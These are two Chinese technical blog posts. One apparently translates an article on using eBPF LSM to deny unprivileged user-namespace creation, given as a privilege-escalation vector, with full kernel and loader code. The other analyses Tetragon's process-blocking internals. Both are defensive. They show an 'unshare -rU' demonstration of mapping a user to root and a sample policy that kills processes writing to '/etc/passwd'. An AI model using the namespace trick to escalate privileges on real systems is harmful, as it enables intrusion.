使用eBPF LSM热修复Linux内核漏洞 译者注 原文链接:Live-patching security vulnerabilities inside the Linux kernel with eBPF Linux Security Module 前段时间,我们讨论了Tetragon产品实时阻断能力的实现原理,那你知道它为什么没选择eBPF LSM吗? 系统内核版本要求是最大限制,eBPF LSM需要5.7以后版本。但对于安全产品,阻断一个函数的调用,远比杀死一个进程影响要小。bpf_send_signal颗粒度是进程,eBPF LSM的颗粒度是函数,更精确。除此之外,控制范围也不一样,可以对函数调用堆栈做调整,达到替换执行的目标函数。业务场景就是内核漏洞的热更新了。 而本文就是一个简单的eBPF LSM实现思路,核心内容是确定精准HOOK点的思路。怎么找HOOK点?HOOK点挂载后,对性能影响是什么?如何做权衡?接下来,我们一起了解一下。 前言 Linux Security Modules(LSM)是一个钩子的基于框架,用于在Linux内核中实现安全策略和强制访问控制。 直到现在,能够实现实施安全策略目标的方式只有两种选择,配置现有的LSM模块(如AppArmor、SELinux),或编写自定义内核模块。 Linux Kernel 5.7引入了第三种方式:LSM扩展伯克利包过滤器(eBPF)(简称BPF LSM)。 LSM BPF允许开发人员编写自定义策略,而无需配置或加载内核模块。 LSM BPF程序在加载时被验证,然后在调用路径中,到达LSM钩子时被执行。 实践出真知 Namespaces 命名空间 现代操作系统提供了允许对内核资源进行partitioning的工具。 例如FreeBSD有jails,Solaris有zones。 Linux是不同的—它提供了一组看似独立的工具,每个进程都允许隔离特定的资源。 他就是Namespaces,经过多年来不停迭代,孕育了Docker、lxc、firejail应用。 大部分Namespaces是没有争议的,如UTS命名空间,它允许主机系统隐藏主机名和时间。其他的则比较复杂但简单明了————众所周知,NET和NS(mount)命名空间很难让人理解。最后,还有一个非常特殊、非常有趣的USER Namespaces。 USER Namespaces很特别,因为它允许所有者作为root操作。其工作原理超出了本文的范围,但是,可以说它是让Docker等工具不作为真正的root操作,或者说是rootless容器。 由于其特性,允许未授权用户访问USER Namespaces总是会带来很大的安全风险。其中最大的风险是提权。 提权原理 提权是操作系统的常见攻击面。 user获得权限的一种方法是通过unshare syscall将其命名空间映射到root空间,并指定CLONE_NEWUSER标志。 这会告诉unshare创建一个具有完全权限的新用户命名空间,并将新用户和Group ID映射到以前的命名空间。 即使用unshare(1)程序将root映射到原始命名空间: $ id uid=1000(fred) gid=1000(fred) groups=1000(fred) … $ unshare -rU # id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # cat /proc/self/uid_map 0 1000 1 多数情况下,使用unshare是没有风险的,都是以较低的权限运行。 但是,已经被用于提权了,比如CVE-2022-0492,那么本文就重点以这个场景为例。 Syscalls clone和clone3也很值得研究,都有CLONE_NEWUSER的功能。但在这篇文章中,我们将重点关注unshare。 Debian用add sysctl to disallow unprivileged CLONE_NEWUSER by default补丁解决了这个问题,但它没有被合并到源码mainline主线中。另一个类似的补丁"sysctl: allow CLONE_NEWUSER to be disabled"尝试合并到mainline,但被拒绝了。理由是在某些特定应用中无法切换到该特性。 在Controlling access to user namespaces一文中,作者写道: ... 目前的补丁似乎没有一条通往mainline主线的捷径。 如你所示,补丁最终没有包含到vanilla内核中。 我们的解决方案LSM BPF 基于上面一些经验,可以看到限制USER Namespaces的代码似乎行不通,我们决定使用LSM BPF来规避这些问题。并且不需要修改内核,还可以自定义检测防御的规则。 寻找合适的候选钩子 首先,让我们跟踪我们的目标系统调用。 我们可以在include/linux/syscalls.h文件中找到原型。 /* kernel/fork.c */ 很清晰的看到,在kernel/fork.c文件中,注释部分中留下了下一个位置的线索。 在ksys_unshare()那里调用。深入研究该函数,发现了一个对unshare_userns()的调用。这让我看到了希望。 现在,我们已经确定了syscall实现,但是接下来的问题是用哪些钩子?怎么选择合适的钩子? 从man-pages中了解到unshare用于改变task,那么,我们重点关注include/linux/lsm_hooks.h中的关于task的钩子。 在函数unshare_userns()中,可以找到对prepare_creds()的调用。对于cred_prepare的HOOK来说看上去不看。 为了验证对prepare_creds()的理解是否正确,接下来继续分析security_prepare_creds()的调用,可以确认,其最终会调用这个HOOK: … rc = call_int_hook(cred_prepare, 0, new, old, gfp); … 暂不过多讨论这个问题,现在能确认的是这个HOOK比较合适,因为prepare_creds()正好在unshare_userns()中的create_user_ns()之前被调用,而unshare_userns()是我们试图阻止的操作。 LSM BPF解决方案 我们将使用eBPF编译一次到处运行(CO-RE)的方法对代码进行编译。 在不同版本内核的IDC中,会特别适用。(不过,国内外大部分五至十年的互联网公司,都有着大量低于5.0的内核版本)。本文的演示,将只对x86_64 CPU架构系统验证。ARM64的LSM BPF仍在开发中。你可以订阅BPF邮件列表来了解最新进展。 此解决方案在Kernel Version >=5.15上进行了测试,配置如下: BPF_EVENTS BPF_JIT BPF_JIT_ALWAYS_ON BPF_LSM BPF_SYSCALL BPF_UNPRIV_DEFAULT_OFF DEBUG_INFO_BTF DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT DYNAMIC_FTRACE FUNCTION_TRACER HAVE_DYNAMIC_FTRACE 如果CONFIG_LSM列表中不包含bpf,则需要你自己重新编译,并开启lsm=bpf选项. 内核空间代码 开始看内核空间代码:deny_unshare.bpf.c: #include <linux/bpf.h> #include <linux/capability.h> #include <linux/errno.h> #include <linux/sched.h> #include <linux/types.h> #include <bpf/bpf_tracing.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_core_read.h> #define X86_64_UNSHARE_SYSCALL 272 #define UNSHARE_SYSCALL X86_64_UNSHARE_SYSCALL CO-RE 接下来,我们以下列方式为CO-RE重新定位建立必要的结构: deny_unshare.bpf.c: … typedef unsigned int gfp_t; struct pt_regs { long unsigned int di; long unsigned int orig_ax; } __attribute__((preserve_access_index)); typedef struct kernel_cap_struct { __u32 cap[_LINUX_CAPABILITY_U32S_3]; } __attribute__((preserve_access_index)) kernel_cap_t; struct cred { kernel_cap_t cap_effective; } __attribute__((preserve_access_index)); struct task_struct { unsigned int flags; const struct cred *cred; } __attribute__((preserve_access_index)); char LICENSE[] SEC("license") = "GPL"; … 我们不需要完全充实 struct 的细节,只需提供程序正常运行所需信息的绝对下限。CO-RE 将执行为内核执行调整所需的任何操作。这样就可以很轻松地编写 LSM BPF 程序! // deny_unshare.bpf.c: SEC("lsm/cred_prepare") int BPF_PROG(handle_cred_prepare, struct cred *new, const struct cred *old, gfp_t gfp, int ret) { struct pt_regs *regs; struct task_struct *task; kernel_cap_t caps; int syscall; unsigned long flags; // If previous hooks already denied, go ahead and deny this one if (ret) { return ret; } task = bpf_get_current_task_btf(); regs = (struct pt_regs *) bpf_task_pt_regs(task); // In x86_64 orig_ax has the syscall interrupt stored here syscall = regs->orig_ax; caps = task->cred->cap_effective; // Only process UNSHARE syscall, ignore all others if (syscall != UNSHARE_SYSCALL) { return 0; } // PT_REGS_PARM1_CORE pulls the first parameter passed into the unshare syscall flags = PT_REGS_PARM1_CORE(regs); // Ignore any unshare that does not have CLONE_NEWUSER if (!(flags & CLONE_NEWUSER)) { return 0; } // Allow tasks with CAP_SYS_ADMIN to unshare (already root) if (caps.cap[CAP_TO_INDEX(CAP_SYS_ADMIN)] & CAP_TO_MASK(CAP_SYS_ADMIN)) { return 0; } return -EPERM; } 第一步是创建程序,第二步是加载程序并附加到我们所需的钩子上。 用户空间 加载程序并将其附加到目标的钩子上是用户空间的功能。有几种方法可以做到这一点: Cilium ebpf项目 Rust bindings ebpf.io项目landscape展示的其他类库 这里,我们将使用原生libbpf。 #include <bpf/libbpf.h> #include <unistd.h> #include "deny_unshare.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) { return vfprintf(stderr, format, args); } int main(int argc, char *argv[]) { struct deny_unshare_bpf *skel; int err; libbpf_set_strict_mode(LIBBPF_STRICT_ALL); libbpf_set_print(libbpf_print_fn); // Loads and verifies the BPF program skel = deny_unshare_bpf__open_and_load(); if (!skel) { fprintf(stderr, "failed to load and verify BPF skeleton\n"); goto cleanup; } // Attaches the loaded BPF program to the LSM hook err = deny_unshare_bpf__attach(skel); if (err) { fprintf(stderr, "failed to attach BPF skeleton\n"); goto cleanup; } printf("LSM loaded! ctrl+c to exit.\n"); // The BPF link is not pinned, therefore exiting will remove program for (;;) { fprintf(stderr, "."); sleep(1); } cleanup: deny_unshare_bpf__destroy(skel); return err; } Makefile 最后,进行编译,这里使用Makefile CLANG ?= clang-13 LLVM_STRIP ?= llvm-strip-13 ARCH := x86 INCLUDES := -I/usr/include -I/usr/include/x86_64-linux-gnu LIBS_DIR := -L/usr/lib/lib64 -L/usr/lib/x86_64-linux-gnu LIBS := -lbpf -lelf .PHONY: all clean run all: deny_unshare.skel.h deny_unshare.bpf.o deny_unshare run: all sudo ./deny_unshare clean: rm -f *.o rm -f deny_unshare.skel.h # # BPF is kernel code. We need to pass -D__KERNEL__ to refer to fields present # in the kernel version of pt_regs struct. uAPI version of pt_regs (from ptrace) # has different field naming. # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd56e0058412fb542db0e9556f425747cf3f8366 # deny_unshare.bpf.o: deny_unshare.bpf.c $(CLANG) -g -O2 -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) -c $< -o $@ $(LLVM_STRIP) -g $@ # Removes debug information deny_unshare.skel.h: deny_unshare.bpf.o sudo bpftool gen skeleton $< > $@ deny_unshare: deny_unshare.c deny_unshare.skel.h $(CC) -g -Wall -c $< -o $@.o $(CC) -g -o $@ $(LIBS_DIR) $@.o $(LIBS) .DELETE_ON_ERROR: 结果 打开一个新终端,运行命令 $ make run … LSM loaded! ctrl+c to exit. 在另一个终端里,可以看到成功的被阻止了。 $ unshare -rU unshare: unshare failed: Cannot allocate memory $ id uid=1000(fred) gid=1000(fred) groups=1000(fred) … 这个策略还有一项始终允许特权通过的功能。 $ sudo unshare -rU # id uid=0(root) gid=0(root) groups=0(root) 在无特权场景中,系统调用会提前中止。 有特权情况下的性能影响是什么? 性能对比 我们将使用一行unshare命令来映射用户命名空间,并在中执行一个命令来进行测量: $ unshare -frU --kill-child -- bash -c "exit 0" 使用系统调用unshare enter/exit的CPU周期间隔,我们将以root用户身份测量以下内容: 命令在没有策略的情况下运行 与策略一起运行的命令 我们将使用ftrace记录测量结果: $ sudo su # cd /sys/kernel/debug/tracing # echo 1 > events/syscalls/sys_enter_unshare/enable ; echo 1 > events/syscalls/sys_exit_unshare/enable 此时,我们将专门为unshare启用对系统调用enter/exit的跟踪。 现在,我们设置enter/exit调用的time-resolution来计算CPU周期: # echo 'x86-tsc' > trace_clock 接下来,我们开始评测 # unshare -frU --kill-child -- bash -c "exit 0" & [1] 92014 在新终端里运行策略,执行下一个syscall # unshare -frU --kill-child -- bash -c "exit 0" & [2] 92019 现在,我们收集到两种CALLS结果进行对比 # cat trace # tracer: nop # # entries-in-buffer/entries-written: 4/4 #P:8 # # _-----=> irqs-off # / _----=> need-resched # | / _---=> hardirq/softirq # || / _--=> preempt-depth # ||| / _-=> migrate-disable # |||| / delay # TASK-PID CPU# ||||| TIMESTAMP FUNCTION # | | | ||||| | | unshare-92014 [002] ..... 762950852559027: sys_unshare(unshare_flags: 10000000) unshare-92014 [002] ..... 762950852622321: sys_unshare -> 0x0 unshare-92019 [007] ..... 762975980681895: sys_unshare(unshare_flags: 10000000) unshare-92019 [007] ..... 762975980752033: sys_unshare -> 0x0 分别是: unshare-92014 used 63294 cycles. unshare-92019 used 70138 cycles. 两次测量之间有6,844(~10%)个周期损失。不错嘛! 这些数字是针对单个系统调用的,代码调用的频率越高,这些数字就越多。 Unshare通常在任务创建时调用,在程序的正常执行期间不会重复调用。 对于你的场景,需要仔细考虑评估。 结尾 我们了解了LSM BPF是什么,如何使用unshare将user映射到root,以及如何通过在eBPF中实现程序来解决真实场景的问题。跟踪准确的钩子不是一件容易的事,需要有丰富的编码经验,以及丰富的内核知识。 这些策略代码是用C语言编写的,所以我们可以因地制宜,不同的问题做不同的策略,代码轻微调整,就可以快速扩展,增加其他钩子点等。最后,我们对比了这个LSM程序的性能影响,性能与安全的权衡,是你需要考虑的问题。 Cannot allocate memory(无法分配内存)不是拒绝权限的最准确的描述。 我们提出了一个补丁,用于将错误代码从cred_prepare挂钩传到调用堆栈。 最后,我们的结论就是eBPF LSM钩子非常适合实时修复Linux内核漏洞,你要来试试吗? 2022-06-30 2 0
Tetragon进程阻断原理 TL;DR 文章较长,代码很多,可直接拖到文末看讲解视频。 背景 在云原生领域中,Cilium是容器管理上最著名的网络编排、可观察性、网络安全的开源软件。基于革命性技术eBPF实现,并用XDP、TC等功能实现了L3、L4层的防火墙、负载均衡软件,具备优秀的网络安全处理能力,但在运行时安全上,Cilium一直是缺失的。 2022年5月,在欧洲举行的KubeCon技术峰会期间,Cilium的母公司Isovalent发布了云原生运行时防护系统Tetragon,填补这一空缺。 Tetragon的面世,意味着与falco、tracee、KubeArmor、datadog-agent等几款产品正面竞争,eBPF运行时防护领域愈加内卷。 Tetragon介绍 摘自Tetragon官方仓库的产品介绍。 eBPF实时性 Tetragon 是一个运行时安全实时和可观察性工具。它直接在内核中对事件做相应动作,比如执行过滤、阻止,无需再将事件发送到用户空间处理。 对于可观察性用例,直接在内核中应用过滤器会大大减少观察开销。避免昂贵的上下文切换,尤其是对于高频事件,例如发送、读取或写入操作,减少了大量的内存、CPU等资源。 同时,Tetragon提供了丰富的过滤器(文件、套接字、二进制名称、命名空间等),允许用户筛选重要且相关的事件,并传递给用户空间。 eBPF灵活性 Tetragon 可以挂载到Linux Kernel中的任何函数,并过滤其参数、返回值、进程元数据(例如,可执行文件名称)、文件和其他属性。 跟踪策略 通过编写跟踪策略,用户可以解决各种安全性和可观察性用例。Tetragon社区中,提供了一些常见的跟踪策略,可以解决大部分的可观察性和安全用例。 用户也可以创建新的规则策略部署,自定义配置文件,以满足业务需求。 eBPF 内核感知 Tetragon 通过eBPF钩子感知Linux Kernel状态,并将状态与Kubernetes用户策略相结合,以创建由内核实时执行的规则,来增强云原生场景的安全防护功能。例如,当容器内恶意程序更改其权限时,我们可以创建一个策略来触发警报,甚至在进程有机会完成系统调用并可能运行其他系统调用之前终止该进程。 Tetragon阻断实现原理 以上是Tetragon官方的介绍,提到具备阻断能力,并在技术峰会上,展示了相关阻断的截图,有必要了解一下其实现原理。 tetragon的运行原理会在下篇详细介绍,本篇主要讲实时阻断原理。本文分析的代码版本为首次发布的tag v0.8.0 ,commit ID:75e49ab。 业界常见方式 LKM的内核模块、LD_PRELOAD的动态链接库修改、基于LSM的selinux、seccomp技术等都是常见做内核态/用户态运行时阻断的技术方案,而缺点就比较明显,系统稳定性、规则灵活性、变更周期等问题比较突出。 当然,也有使用内核模块方式。方法是把eBPF特性,封装在内核模块里,再安装到老版本的内核上,这样,就可以覆盖更多内核版本了。但backport新特性的做法在社区里很不推荐,维护成本特别高,需要比较大的内核研发团队与深厚的技术功底。。 云原生生态中,CNCF的项目Falco具备内核模块与eBPF探针两套驱动引擎,提供数据收集能力。同类产品Tracee也是,还基于LSM接口,实现了一定的防御阻断能力,同时支持使用者自定义语法配置文件,进行检测、判断、阻断规则的修改快速更新,以达到更好的防御能力。 作为云原生领域的容器管理软件领头羊,Cilium也会落后,但Linux Security Module钩子(以下简称LSM)需要Linux Kernel 5.7以上版本,而业界多数内核版本都不会这么新。Cilium有没有使用LSM类HOOK进行阻断呢?我们一起来看一下。 配置文件 前面提到,Tetragon灵活性更高,可以读取配置文件规则,应用到内核态。以代码仓库的crds/examples/open_kill.yaml为例,语法规则分为如下几部分 kprobe函数名 函数原型参数 进程过滤配置 参数过滤配置 执行动作 其中,matchActions字段为匹配后的执行动作,比如这里的Sigkill - call: "__x64_sys_write" syscall: true args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" selectors: - matchPIDs: - operator: NotIn followForks: true isNamespacePID: true values: - 0 - 1 matchArgs: - index: 0 operator: "Prefix" values: - "/etc/passwd" matchActions: - action: Sigkill yaml配置文件的解析在pkg/k8s/apis/cilium.io/v1alpha1/types.go中的TracingPolicySpec结构体中,包含KProbeSpec和TracepointSpec, 对应json:"kprobes"和json:"tracepoints"两个json的结构。 type TracingPolicySpec struct { // +kubebuilder:validation:Optional // A list of kprobe specs. KProbes []KProbeSpec `json:"kprobes"` // +kubebuilder:validation:Optional // A list of tracepoint specs. Tracepoints []TracepointSpec `json:"tracepoints"` } 同时,Tetragon还支持远程下发配置,配置结构与yaml结构是一样的。这里相比传统的内核模块等技术方案,灵活性更高。 用户空间 详细执行流程会在下篇分享,直入主题。 数据结构 在项目中,抽象出一些概念: Tetragon由多个Sensors传感器构成 Sensor由多个Programs和Maps构成 每个Program对应eBPF代码的HOOK函数 每个Map是相应Program的bpf的数据交互map // Program reprents a BPF program. type Program struct { // Name is the name of the BPF object file. Name string // Attach is the attachment point, e.g. the kernel function. Attach string // Label is the program section name to load from program. Label string // PinPath is the pinned path to this program. Note this is a relative path // based on the BPF directory FGS is running under. PinPath string // RetProbe indicates whether a kprobe is a kretprobe. RetProbe bool // ErrorFatal indicates whether a program must load and fatal otherwise. // Most program will set this to true. For example, kernel functions hooks // may change across verions so different names are attempted, hence // avoiding fataling when the first attempt fails. ErrorFatal bool // Needs override bpf program Override bool // Type is the type of BPF program. For example, tc, skb, tracepoint, // etc. Type string LoadState State // TraceFD is needed because tracepoints are added different than kprobes // for example. The FD is to keep a reference to the tracepoint program in // order to delete it. TODO: This can be moved into loaderData for // tracepoints. TraceFD int // LoaderData represents per-type specific fields. LoaderData interface{} // unloader for the program. nil if not loaded. unloader unloader.Unloader } ExecveV53 = program.Builder( "bpf_execve_event_v53.o", "sched/sched_process_exec", "tracepoint/sys_execve", "event_execve", "execve", ) Sensors传感器加载 默认传感器注册 pkg/sensors/tracing包下由两个文件对传感器进行默认注册,分别是generictracepoint.go与generickprobe.go,写入如下两个Sensors到registeredTracingSensors中。 observerKprobeSensor ,kprobe类型HOOK observerTracepointSensor, tracepoint类型HOOK 同时,还会注册自定义eBPF probe加载器到registeredProbeLoad中。 // generickprobe.go#Line=43 func init() { kprobe := &observerKprobeSensor{ name: "kprobe sensor", } sensors.RegisterProbeType("generic_kprobe", kprobe) sensors.RegisterTracingSensorsAtInit(kprobe.name, kprobe) observer.RegisterEventHandlerAtInit(ops.MSG_OP_GENERIC_KPROBE, handleGenericKprobe) } 策略文件解析 GetSensorsFromParserPolicy方法遍历所有Sensors,调用它的SpecHandler方法,解析yaml配置。解析配置后,生成新的传感器对象,作为整个应用启动、注入、监听的所有传感器。 // cmd/tetragon/main.go#line=209 startSensors, err = sensors.GetSensorsFromParserPolicy(&cnf.Spec) // pkg/sensors/sensors.go#line=160 for _, s := range registeredTracingSensors { sensor, err := s.SpecHandler(spec) if err != nil { return nil, err } if sensor == nil { continue } sensors = append(sensors, sensor) } 新增传感器 接上,yaml解析器读取格式后,根据当前传感器的类型(kprobe还是tracepoint),处理yaml配置文件对应的HOOK配置。 kprobe类型 以kprobe类型的hook配置为例,调用 addGenericKprobeSensors 详细处理每一个配置内容。 // pkg/sensors/tracing/generickprobe.go#line=242-516 func addGenericKprobeSensors(kprobes []v1alpha1.KProbeSpec, btfBaseFile string) (*sensors.Sensor, error) { // 遍历所有kprobes的元素 for i := range kprobes { f := &kprobes[i] funcName := f.Call // 1. 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 // 2. 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 // 3. 解析ReturnArg 返回值参数,写入到BTF对象 // 4. 过滤保留参数,写入BTF对象 // 5. 解析Filters逻辑,写入BTF对象 // 6. 解析Binary名字到内核数据结构体 // 7. 将属性写入BTF指针,以便加载 // 8. 判断action是否为SIGKILL,并写入BTF对象 kernelSelectors, err := selectors.InitKernelSelectors(f) kprobeEntry := genericKprobe{ loadArgs: kprobeLoadArgs{ filters: kernelSelectors, btf: uintptr(btfobj), retprobe: setRetprobe, syscall: is_syscall, }, argSigPrinters: argSigPrinters, argReturnPrinters: argReturnPrinters, userReturnFilters: userReturnFilters, funcName: funcName, pendingEvents: map[uint64]pendingEvent{}, tableId: idtable.UninitializedEntryID, } genericKprobeTable.AddEntry(&kprobeEntry) // 9. 设定这个kprobe所需的ebpf字节码文件信息 loadProgName := "bpf_generic_kprobe_v53.o" // 10. 利用如上信息,填充到prog的结构体中。 // 11. 在prog结构体中,label字段的值都是**kprobe/generic_kprobe** load := program.Builder( path.Join(option.Config.HubbleLib, loadProgName), funcName, "kprobe/generic_kprobe", "kprobe"+"_"+funcName, "generic_kprobe"). SetLoaderData(kprobeEntry.tableId) } // 创建生成新的sensor,并返回 return &sensors.Sensor{ Name: "__generic_kprobe_sensors__", Progs: progs, Maps: []*program.Map{}, }, nil } 解析过程如下: 验证配置文件中配置依赖,比如Sigkill需要内核大于5.3 解析匹配参数(进程名、namespace、路径、五元组等)写入BTF对象 解析ReturnArg 返回值参数,写入到BTF对象 过滤保留参数,写入BTF对象 解析Filters逻辑,写入BTF对象 解析Binary名字到内核数据结构体 将属性写入BTF指针,以便加载 判断action是否为SIGKILL,并写入BTF对象 设定这个kprobe所需的ebpf字节码文件信息 利用如上信息,填充到prog的结构体中。 在prog结构体中,label字段的值都是kprobe/generic_kprobe 解析完成后,返回一个新的sensor,并添加到Sensors传感器数组中。 至此,完成了配置文件的解析。 在这里,阻断指令的配置,是保存在genericKprobe.loadArgs.filters这个byte数组中的。 动态更新 在tetragon项目中,还具备从远程下发新的规则,更新、添加Sensor传感器功能,相应代码在pkg/observer/observer.go中,本篇不做过多展开,会在下篇分享。 // InitSensorManager starts the sensor controller and stt manager. func (k *Observer) InitSensorManager() error { var err error SensorManager, err = sensors.StartSensorManager(k.bpfDir, k.mapDir, k.ciliumDir) return err } eBPF加载与挂载 Sensors启动 传感器启动加载,执行流程为obs.Start(ctx, startSensors) -> config.LoadConfig -> load.Load 。 在Load方法里,对每一个Program元素,调用observerLoadInstance方法进行加载。 // load.Load // Load loads the sensor, by loading all the BPF programs and maps. func (s *Sensor) Load(stopCtx context.Context, bpfDir, mapDir, ciliumDir string) error { for _, p := range s.Progs { // ... // 加载每个prog if err := observerLoadInstance(stopCtx, bpfDir, mapDir, ciliumDir, p); err != nil { return err } // ... } } eBPF Program加载、挂载 在对每个eBPF program进行加载时,会判断HOOK的类型,针对tracepoint特殊判断处理。这里还是以Kprobe为例。代码调用loadInstance函数,逻辑中判断是否存在自定义的加载器: 若有,则调用s.LoadProbe加载; 若没有,则调用loader.LoadKprobeProgram加载; // pkg/sensors/load.go#Line=297 if s, ok := registeredProbeLoad[load.Type]; ok { logger.GetLogger().WithField("Program", load.Name).WithField("Type", load.Type).Infof("Load probe") return s.LoadProbe(LoadProbeArgs{ BPFDir: bpfDir, MapDir: mapDir, CiliumDir: ciliumDir, Load: load, Version: version, Verbose: verbose, }) } return loader.LoadKprobeProgram( version, verbose, btfObj, load.Name, load.Attach, load.Label, filepath.Join(bpfDir, load.PinPath), mapDir, load.RetProbe) 同样,以前面提到的observerKprobeSensor类型传感器,已经注册自己的Probe加载器,那么会走s.LoadProbe()逻辑,之后,调用loadGenericKprobeSensor() -> loadGenericKprobe()进行加载。 这里的load.Name、load.Attach、load.Label的值,来自前面的yaml配置文件读取部分,值分别为bpf_generic_kprobe_v53.o、 __x64_sys_write 、 kprobe/generic_kprobe,也就是说,不管是哪个kprobe函数,都会被挂载到kprobe/generic_kprobe上,都被generic_kprobe_event()这个eBPF 函数处理,起到统一管理的网关作用。 kprobe/generic_kprobe对应的eBPF代码在bpf/process/bpf_generic_kprobe.c文件里,我们在后面内核空间代码详细分析。 __attribute__((section(("kprobe/generic_kprobe")), used)) int generic_kprobe_event(struct pt_regs *ctx) { return generic_kprobe_start_process_filter(ctx); } filters过滤器 loadGenericKprobe()函数最后一个参数filters过滤器参数,类型是[4096]byte func loadGenericKprobe(bpfDir, mapDir string, version int, p *program.Program, btf uintptr, genmapDir string, filters [4096]byte) error { } 其内容为前面yaml格式解析中的第5步, kernelSelectors, err := selectors.InitKernelSelectors(f) 格式构成为 filter := [length][matchPIDs][matchBinaries][matchArgs][matchNamespaces][matchCapabilities][matchNamespaceChanges][matchCapabilityChanges] 这些数据,也是在内核空间eBPF逻辑中,实现参数匹配,动作响应的判断依据。 Cgo函数调用 在调用BPF SYSCALL的实现上,Tetragon没有使用母公司自己的Cilium/ebpf库,而是使用CGo包装了libbpf进行加载。使用的版本还是0.2.0,当前社区最新版为0.7.0,比较老。(下一篇再讲原因) loadGenericKprobe()函数调用bpf.LoadGenericKprobeProgram(),并把filters传递给下一个CGO的函数C.generic_kprobe_loader(),函数定义在pkg/bpf/loader.go的476行。 int generic_kprobe_loader(const int version, const int verbosity, bool override, void *btf, const char *prog, const char *attach, const char *label, const char *__prog, const char *mapdir, const char *genmapdir, void *filters) { struct bpf_object *obj; int err; obj = generic_loader_args(version, verbosity, override, btf, prog, attach, label, __prog, mapdir, filters, BPF_PROG_TYPE_KPROBE); if (!obj) { return -1; } // ... } 之后,再调用CGO的C函数generic_loader_args()进行BPF SYSCALL调用,加载eBPF程序,挂载到对应kprobe函数上。之后,再写入eBPF Maps。 eBPF Maps创建写入 Tetragon使用eBPF Maps进行用户空间与内核空间的配置数据交互,比如yaml配置文件中,各种过滤条件,匹配后的处理动作等。 还是以open_kill.yaml为例,涉及了两类eBPF Map: 特征匹配规则,也就是配置的内容,比如需要保护的文件路径、IP黑名单等,称之为filters规则 路由分发规则,也就是tetragon程序内部,用于eBPF HOOK的函数网关处理各类参数的自用规则,用尾调用Tail Call类型的map实现。 filters规则Map 在generic_loader_args()里,创建了"filter_map" eBPF Map,并将判断规则、阻断规则filter bytes数组写入到这个map里,格式依旧是[4096]byte的字节流。 // ... char *filter_map = "filter_map"; // ... map_fd = bpf_object__find_map_fd_by_name(obj, filter_map); if (map_fd >= 0) { err = bpf_map_update_elem(map_fd, &zero, filter, BPF_ANY); if (err) { printf("WARNING: map update elem %s error %d\n", filter_map, err); } } Tail Call尾调用Map 在eBPF Program加载部分提到,eBPF Kprobe函数kprobe/generic_kprobe(即generic_kprobe_event())作为统一的过滤处理网关,针对不同的kprobe,其参数个数、参数类型一定是不一样的,比如文件读写函数__x64_sys_write有三个参数,分别是 args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" 而SOCKET连接函数__x64_connect只有两个参数,分别是 args: - index: 0 type: "sockfd" - index: 1 type: "sockaddr" 并且,他们的参数类型也不一样,作为统一网关,且面对参数个数、参数类型都不一样的问题,Tetragon在eBPF的解决方案是使用BPF_MAP_TYPE_PROG_ARRAY类型的eBPF Map实现,用于尾调用Tail Call处理。, kprobe_calls尾调用Map struct bpf_map_def __attribute__((section("maps"), used)) kprobe_calls = { .type = BPF_MAP_TYPE_PROG_ARRAY, .key_size = sizeof(__u32), .value_size = sizeof(__u32), .max_entries = 11, }; kprobe_calls Map写入 map_bpf = bpf_object__find_map_by_name(obj, "kprobe_calls"); // ... err = bpf_map__pin(map_bpf, map_name); // ... map_fd = bpf_map__fd(map_bpf); for (i = 0; i < 11; i++) { struct bpf_program *prog; char prog_name[20]; char pin_name[200]; int fd; snprintf(prog_name, sizeof(prog_name), "kprobe/%i", i); prog = bpf_object__find_program_by_title(obj, prog_name); if (!prog) goto out; fd = bpf_program__fd(prog); if (fd < 0) { err = errno; goto err; } snprintf(pin_name, sizeof(pin_name), "%s_%i", __prog, i); bpf_program__unpin(prog, pin_name); err = bpf_program__pin(prog, pin_name); if (err) { printf("program pin %s tailcall err %d\n", pin_name, err); goto err; } err = bpf_map_update_elem(map_fd, &i, &fd, BPF_ANY); if (err) { printf("map update elem i %i %s tailcall err %d %d\n", i, prog_name, err, errno); goto err; } } 用户空间程序,读取eBPF二进制文件,读取kprobe开头的的eBPF函数,以ID作为Key,写入到kprobe_calls尾调用表中。 一共11个函数,都在bpf/process/bpf_generic_kprobe.c文件里,分别是: kprobe/0 对应 generic_kprobe_process_event0 kprobe/1 对应 generic_kprobe_process_event1 kprobe/2 对应 generic_kprobe_process_event2 kprobe/3 对应 generic_kprobe_process_event3 kprobe/4 对应 generic_kprobe_process_event4 kprobe/5 对应 generic_kprobe_process_filter kprobe/6 对应 generic_kprobe_filter_arg1 kprobe/7 对应 generic_kprobe_filter_arg2 kprobe/8 对应 generic_kprobe_filter_arg3 kprobe/9 对应 generic_kprobe_filter_arg4 kprobe/10 对应 generic_kprobe_filter_arg5 至此,涉及eBPF阻断功能的用户空间逻辑全部完成。 内核空间 在内核空间,入口函数为用户空间HOOK的kprobe点 "kprobe/generic_kprobe" ,对应 generic_kprobe_event() 函数。这函数内部只有一个 generic_kprobe_start_process_filter()的调用。 统一网关触发 前面提到,tetragon是把open_kill.yaml中的所有kprobe syscall都交给这个eBPF函数处理,所以,当__x64_sys_write这些HOOK点触发后,逻辑都交给generic_kprobe_start_process_filter()处理。 // bpf/process/bpf_generic_kprobe.c#line=48 static inline __attribute__((always_inline)) int generic_kprobe_start_process_filter(void *ctx) { // ... /* Tail call into filters. */ tail_call(ctx, &kprobe_calls, 5); return 0; } 程序内部获取当前进程信息(struct task_struct、namespace、caps等)后,使用Tail Call尾调用转交kprobe_calls Maps的第5个函数处理,即generic_kprobe_process_filter()。 提醒 因eBPF虚拟机寄存器限制,只能获取前5个参数。 进程过滤流程 获取当前进程信息后,进入下一个流程,获取当前kprobe的进程参数。即进入generic_kprobe_process_filter()函数内部 // bpf/process/bpf_generic_kprobe.c#Line=146 // ... ret = generic_process_filter(msg, &filter_map, &process_call_heap); if (ret == PFILTER_CONTINUE) tail_call(ctx, &kprobe_calls, 5); else if (ret == PFILTER_ACCEPT) tail_call(ctx, &kprobe_calls, 0); /* If filter does not accept drop it. Ideally we would * log error codes for later review, TBD. */ return PFILTER_REJECT; 